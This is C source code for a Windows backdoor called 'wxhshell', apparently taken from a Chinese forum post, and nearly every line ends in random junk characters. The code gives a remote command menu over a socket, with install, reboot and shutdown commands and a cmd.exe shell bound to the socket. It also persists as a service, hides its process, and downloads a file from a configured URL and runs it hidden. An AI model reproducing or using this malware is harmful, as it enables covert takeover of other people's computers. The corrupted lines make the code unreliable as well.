    switch(cmd[0]) { )=_,O=z$K  
  ')<hON44EX  
  // 帮助 '!~)?C<  
  case '?': { 7n<::k\lb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r0% D58  
    break; *#+An<iT ;  
  } &Hs!:43E-<  
  // 安装 3 {sVVq5Y  
  case 'i': { T'Dv.h  
    if(Install()) a~y'RyA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V/9!K%y  
    else G mA< g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ee76L&:  
    break; CryBwm  
    } LsU9 .  
  // 卸载 bdE[;+58  
  case 'r': { ZyFjFHe+  
    if(Uninstall()) z1X`o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <*cikXS  
    else LG#t<5y~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {9.|2%a  
    break; A#YrWW  
    } hf&9uHN%7m  
  // 显示 wxhshell 所在路径 f x+/C8GK  
  case 'p': { iSs:oH3l  
    char svExeFile[MAX_PATH]; ~q25Yx9W@  
    strcpy(svExeFile,"\n\r"); /R wjCUf  
      strcat(svExeFile,ExeFile); l}K37f  
        send(wsh,svExeFile,strlen(svExeFile),0); mrtb*7`$  
    break; 4ID5q~  
    } _u QOHwn  
  // 重启 8&b,qQ~  
  case 'b': { C,|,-CY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %| Lfuz*  
    if(Boot(REBOOT)) ^SrJu:Q_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cTTL1SW  
    else { {kR#p %E]  
    closesocket(wsh); > /caXvS  
    ExitThread(0); )bscBj@  
    } 3AN/ H  
    break; R~ q]JSIC@  
    } smo~7;  
  // 关机 fVpMx4&F   
  case 'd': { u;2[AQ.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ge8ZsaiU  
    if(Boot(SHUTDOWN)) amY!qg0P*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _E.>`Q  
    else { f9{Rb/l!BQ  
    closesocket(wsh); [Y| t]^M  
    ExitThread(0); Z4 =GMXj  
    } JY(WK@  
    break; 1#+S+g@#  
    } p H2Sbs:Tk  
  // 获取shell v):Or'$~M  
  case 's': { ji0@P'^;  
    CmdShell(wsh); t\7[f >  
    closesocket(wsh); z!9-:  
    ExitThread(0); E+;7>ja  
    break; </*6wpN  
  } >tW#/\x{  
  // 退出 sLxc(d'A  
  case 'x': { o|["SYIf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A^<jy=F&  
    CloseIt(wsh); |aq"#Ml)  
    break; JDT`C2-Q  
    } @b2aNS<T  
  // 离开 aAUvlb  
  case 'q': { =Jb>x#Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %n9aaoD  
    closesocket(wsh); JIq=* '  
    WSACleanup(); >pe.oxY  
    exit(1); C e$w8z  
    break; $1`2 kM5  
        } cSV aI  
  } A2Gevj?F$  
  } s!$7(Q86R  
XZd,&YiaG  
  // 提示信息 f._ua>v,f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _xhax+,! ~  
} {3aua:q  
  } c5GuM|*7  
{R6ZKB  
  return; $6SW;d+>n  
} R8'RA%O9J  
Ds:'Lb  
// shell模块句柄 rFL;'Cj@  
int CmdShell(SOCKET sock) t1x1,SL  
{ YUk\Q%  
STARTUPINFO si; brUF6rQ  
ZeroMemory(&si,sizeof(si)); 1iF1GkLEq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6T`i/".  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fI|Nc  
PROCESS_INFORMATION ProcessInfo; 4'=y:v2  
char cmdline[]="cmd"; Z4ImV~m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $6poFo)U+  
  return 0; f ) L  
} )l DD\J7  
IjnU?Bf  
// 自身启动模式 d/~9&wLSb  
int StartFromService(void) .%  
{ z~s PXGb  
typedef struct 13x p_j  
{ `VguQl_,gA  
  DWORD ExitStatus; b4N[)%@  
  DWORD PebBaseAddress; m ~$v;?i  
  DWORD AffinityMask; X!EP$!  
  DWORD BasePriority; 8YSAf+{FtK  
  ULONG UniqueProcessId; :^h$AWR^f  
  ULONG InheritedFromUniqueProcessId; -zfR)(zG  
}   PROCESS_BASIC_INFORMATION; LZxNAua  
4BpZJ~(p  
PROCNTQSIP NtQueryInformationProcess; 7 HYwLG:\~  
@f3E`8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %d9uTm;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eTcd"Kd/  
S3Jo>jXS "  
  HANDLE             hProcess; @`9]F7h5W  
  PROCESS_BASIC_INFORMATION pbi; wN~_v-~*Q  
.HABNPNg(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V(!V_Ug9.  
  if(NULL == hInst ) return 0; $/Uq0U  
{]4LULq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sK?twg;D*|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HJ.-Dg5U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KHvYUTY  
,Ma^&ypH  
  if (!NtQueryInformationProcess) return 0; j^RmrOg ,  
NC6&x=!3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g *+>H1}  
  if(!hProcess) return 0;  N4TV  
(X*^dO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M kXmA`cP  
Y(Hs#Kn{  
  CloseHandle(hProcess); 'PW5ux@`<  
`C'H.g\>2Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j8:\%|  
if(hProcess==NULL) return 0; J\=*#*rJ1  
kvu)y`  
HMODULE hMod; ((%? `y  
char procName[255]; P?P#RhvA1  
unsigned long cbNeeded; )MT}+ai  
tw)mepwB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^E>3|du]O  
Q\sK"~@3  
  CloseHandle(hProcess); ]JQULE)  
$U-0)4yf  
if(strstr(procName,"services")) return 1; // 以服务启动 =~LJ3sIX  
Z*6IW7#  
  return 0; // 注册表启动 ":N9(}9  
} 9 QJyZ  
4Ftu  
// 主模块 l,aay-E  
int StartWxhshell(LPSTR lpCmdLine) R[+<^s}p/  
{ SOaoo^,O  
  SOCKET wsl; '8kP.l  
BOOL val=TRUE; ~6md !o%i  
  int port=0; )NT*bLRPQ  
  struct sockaddr_in door; (A.C]hD  
{R{=+2K!|k  
  if(wscfg.ws_autoins) Install(); _Y m2/3!  
]A_`0"m.U  
port=atoi(lpCmdLine); 6Q5^>\Y  
X1_5KH  
if(port<=0) port=wscfg.ws_port; Bk{]g=DO  
vtJJ#8a]  
  WSADATA data; DzRFMYBR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pT6$DB#  
+Vdpy (  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NDokSw-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9%obq/Lb  
  door.sin_family = AF_INET; 86a\+Kz%%L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ba9?(+i$h  
  door.sin_port = htons(port); t"I77aZ$A  
1X1dG#:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *|HY>U.  
closesocket(wsl); )0k53-h&  
return 1; }c:M^Ff  
} 3Tm+g2w2V8  
d2L&Z_}  
  if(listen(wsl,2) == INVALID_SOCKET) { I)HPO,7  
closesocket(wsl); [mueZQyI?0  
return 1; YuwI&)l  
} %J-GKpo/S  
  Wxhshell(wsl); >y+B  
  WSACleanup(); `\ol,B_l  
i,VMd  
return 0; p5*jzQ  
4?01s-Y  
} L-&\\{ X  
_,*r_D61S  
// 以NT服务方式启动 KqP#6^ _  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  4Wp=y  
{ ;mi%F3  
DWORD   status = 0; bcz:q/f}@  
  DWORD   specificError = 0xfffffff; 9: lFo=  
Rf% a'b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "$vRMpW:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0<*<$U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vi|#@tC'  
  serviceStatus.dwWin32ExitCode     = 0; ?Z}&EH  
  serviceStatus.dwServiceSpecificExitCode = 0; EKN~H$.  
  serviceStatus.dwCheckPoint       = 0; j5h-dK  
  serviceStatus.dwWaitHint       = 0; JK] PRDyD  
%@Jsal'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MnHNjsO#  
  if (hServiceStatusHandle==0) return; ue>D 7\8  
/g.U&oI]D  
status = GetLastError(); .fs3>@T"#  
  if (status!=NO_ERROR) ,`sv1xwd  
{ I( Mm?9F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K@%].:  
    serviceStatus.dwCheckPoint       = 0; zKK9r~ M  
    serviceStatus.dwWaitHint       = 0; HK% 7g  
    serviceStatus.dwWin32ExitCode     = status; Pc]HP  
    serviceStatus.dwServiceSpecificExitCode = specificError; y<.5xq5_3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ez[Vm:2K  
    return; &xExyz~`  
  } A":T1s  
@PIp* [7oC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8xMX  
  serviceStatus.dwCheckPoint       = 0; c+GG\:gM  
  serviceStatus.dwWaitHint       = 0; 6wg^FD_Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EhBKj |y  
} Ws12b $  
>.D4co>  
// 处理NT服务事件,比如:启动、停止 u]G\H!Wk Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3iU=c&P  
{ Qv ?"b  
switch(fdwControl) #s9aI_  
{ <{cQ2  
case SERVICE_CONTROL_STOP: O&hTNIfi  
  serviceStatus.dwWin32ExitCode = 0; e~(5%CO>#j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -7|H}!DFT  
  serviceStatus.dwCheckPoint   = 0; $Z>'Jp  
  serviceStatus.dwWaitHint     = 0; 7PF%76TO  
  { 51.%;aY~z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5E <kwi  
  } :fJN->wY^s  
  return; /Gfw8g\}  
case SERVICE_CONTROL_PAUSE: rW#T vUn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lr$zHI7_`  
  break; N)Z?Z+ }h  
case SERVICE_CONTROL_CONTINUE: EBmt9S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nT)vNWT=  
  break; EEL,^3KR  
case SERVICE_CONTROL_INTERROGATE: iam1V)V  
  break; LXCx~;{\  
}; {7pli{`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D3K8F@d  
} <\S:'g"(  
W!(LF7_!  
// 标准应用程序主函数 >KKMcTOYY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !1b;F*H  
{ )WFr</z5bA  
*gz{.)W  
// 获取操作系统版本 BD7N i^qI$  
OsIsNt=GetOsVer(); S`]k>' l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a-J.B.A$Z/  
N4HqLh23H  
  // 从命令行安装 -|9=P\U8S  
  if(strpbrk(lpCmdLine,"iI")) Install(); \lNN Msd&  
v(%*b,^  
  // 下载执行文件 -H-~;EzU  
if(wscfg.ws_downexe) { rU(+T0t?I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0Y5_PTWb+Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); '}#9)}x!  
} Ef{Vp;]  
UR5`ue ;  
if(!OsIsNt) { ;xn0;V'=  
// 如果时win9x,隐藏进程并且设置为注册表启动 J4U1t2@)9  
HideProc(); 2I{"XB  
StartWxhshell(lpCmdLine); pI<f) r  
} XRQ4\bMA8  
else a"u0Q5J  
  if(StartFromService()) 3HK\BS  
  // 以服务方式启动 , 9 a  
  StartServiceCtrlDispatcher(DispatchTable); J9S>yLQK  
else 6D_D';o  
  // 普通方式启动 | VDV<g5h  
  StartWxhshell(lpCmdLine); IO:G1;[/2L  
FML(4BY,  
return 0; Wh{tZ~c  
}
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只看该作者 1 发表于: 2006-10-10
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